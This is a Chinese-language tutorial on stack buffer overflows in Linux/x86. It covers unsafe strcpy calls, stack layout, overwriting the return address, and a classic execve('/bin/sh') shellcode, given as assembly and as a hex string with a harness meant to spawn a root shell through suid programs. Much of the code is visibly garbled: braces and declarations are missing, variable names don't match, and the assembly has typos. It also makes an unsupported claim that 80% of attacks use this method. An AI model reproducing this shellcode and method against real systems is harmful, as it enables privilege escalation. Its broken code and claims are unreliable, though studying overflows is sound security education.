|
缓冲区溢出的一般原理和方法
作者:南阳岩冰
感谢所有在网络中支持岩冰工作的朋友,为了保持对技术神圣的膜顶,岩冰不在这里公开提出这些让我们为之肃然起敬的人啦.在此感谢他们的指导和帮助.
感谢蝶儿和花花为我们提供一个交流的空间,也感谢大家对我的文章提出建设性的建议.
又是老生常谈的东东了,为了抛砖引玉,不得不动动手,敲敲键盘啦,本来想让文员给打出来,可是她们也忙,没办法,岩冰只能自己动手敲点出来,呵呵.难免有错...欢迎指正…
我们用过sendmail的朋友都知道,在旧版本的sendmail缓冲区中,含有一个缺点,可以通过-d选项在sendmail中激活调试选择并溢出缓冲区从而导致攻击整个系统.这种bug的存在,是因为应用程序的缺陷造成的,有些常见的编程错误,也可以造成bug的产生.
缓冲区溢出(buffer
overflow)是一个普片而又严重的bug,在各种操作系统和应用程序中都可能存在.他的基本原理是向一个有限空间的缓冲区复制超长的字符串,而程序本身却不能进行有效的检验,这样就可以导致程序运行失败,系统从新启动,甚至进入死锁造成死机.岩冰讲的就是利用了这个设计缺陷进行系统入侵检测的.现在,我们通过往用程序的缓冲区写超出其长度的内容,破坏程序的椎栈,使程序转而执行其他指令,以达到获取root的目的。据统计,通过缓冲益出进行的获取root权限的方法,占所有系统攻击总数的80%以上。造成缓冲区溢出的根本原因是程序中没有仔细检查用户或程序接口的输入参数。例如下面一个C编写的涉及缓冲区错误的程序aal.c:
void function(char*str)
char buffer[16];
strcpy (buffer,str)
上面的strcpy()将直接把str中的内容复制到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内蒙古自治区的getc(),fgetc()getchar()等。
当然,随便往缓冲区中填东西造成它溢出一般 只会出现Segmentation fault
错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。我们下面内容假设用户使用的平台为基于Intel
x86 CPU的Linux系统。对其他平台来说,程序要做相应的变化。
1.制造缓冲区溢出的方法
我们都知道,一个程序在内存中通常分为程序段、数据段和椎栈三部分。程序段里放着程序的机器码和只读数据,任何写的操作都将导致系统错误;数据段放的是程序中的静态数据,它的大小可以由内存分配系统调用改变;动态数据则通过堆栈来存放。椎栈有个特殊的属性,就是最新放置在它里面的数据,都将是第一个被移出椎栈的,即所谓后进先出(LIFO)。在内存中,它们的位置是:内存低端放程序段,然后放数据段,内存高端存放椎栈。
计算机执行一条指令,并保留指向下一条指令的指针(IP,Instruction
Pointer).当函数或过程被调用的时候,先前在堆栈中被保留原来的指令指针将被作为返回地址(RET),执行完成后,RET将会替换IP,程序接着继续执行本来的流程。
当程序中发生函数调用时,计算机做如下操作:首先把参数压入椎栈;然后保存IP中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(BP);然后把SP减去适当的数值。以下面程序aa2.c为例:
void function(char*str)
char buffer[16];
strcpy(buffer,str)
}
void main()
char large-string[256];
int I;
for(I=0;I<255;I++)
large-string=A
function(large-string);
当调用函数function()时,椎栈由低端内存(栈顶)到高端内存(栈底)放置数据的顺序是:buffer, sfp, ret, *str.
显然,程序执行的结果是段冲突“Segmentation fault(core dumped)”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容`A`的十六进制值为0X41,于是函数的返回地址变成了0X41414141,超出了程序的地址空间,所以出现段错误。
2.怎样获得用户shell
如果在溢出的缓冲破区中写入我们想执行的程序代码,再覆盖返回地址(RET)的内容,使用权它指向缓冲区的开头,就可以达到运行其他指令的目的。即BUFFER中的数据是可以执行的机器代码,特别是精心设计,使返地址(RET)的内容成为一个跳转指令,指向需要执行的另一段程序。
通常,我们想运行的是一个用户SHELL。下面是一段写得很漂亮的SHELL代码aa3.c:
VOID MAIN ()
--ASM—(“
JMP 0X1F # BYTES
POPL % ESI #1 BYTE
MOVL % ESI,0X8 (%ESI)# 3 BYTES
XORL % EAX ,%EAX (%ESI)#3 BYTES
MOVL %EAX,0XC(%ESI)#3BYTES
MOVB$ 0XB,%AL#2BYTES
MOVL %ESI ,%EBX#2BYTES
LEAL 0X8 (%ESI),%EDX #3BYTES
LEAL 0XC(%ESI),%EDX#3BYTES
INT $ 0X80#2BYTES
XORL % EBX,%EAX#2BYTES
MOVL % EBX,% EAX # 2 BYTES
INC % EAX #1 BYTES
INT $ OX80 # 2 BYTES
CALL—0X24#5BYTES
. STRING\ “/BIN/SH\”#8 BYTES
# 46 BYTES BOTAL
“);
}
把上边的程序用机器码来表示的话,就可以得到下面的16进制的shell代码字符串.aa4.c:
char shell[]=
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
void main()
char buffer [96];
int I;
long * long_ptr=(long * )large_string;
for(I=0;I<32;I++)
*(long_ptr+I)=(int)buffer;
for(I=0;I<strlen(shellcode);I++)
large_string=shellcode;
strcpy(buffer,large_string);
}
这个程序就是在lage_string中填入buffer的地址,并把shell的代码放到large_string的前面.然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell的代码,这样的程序从strcpy()中返回时,就会转而执行shell.
|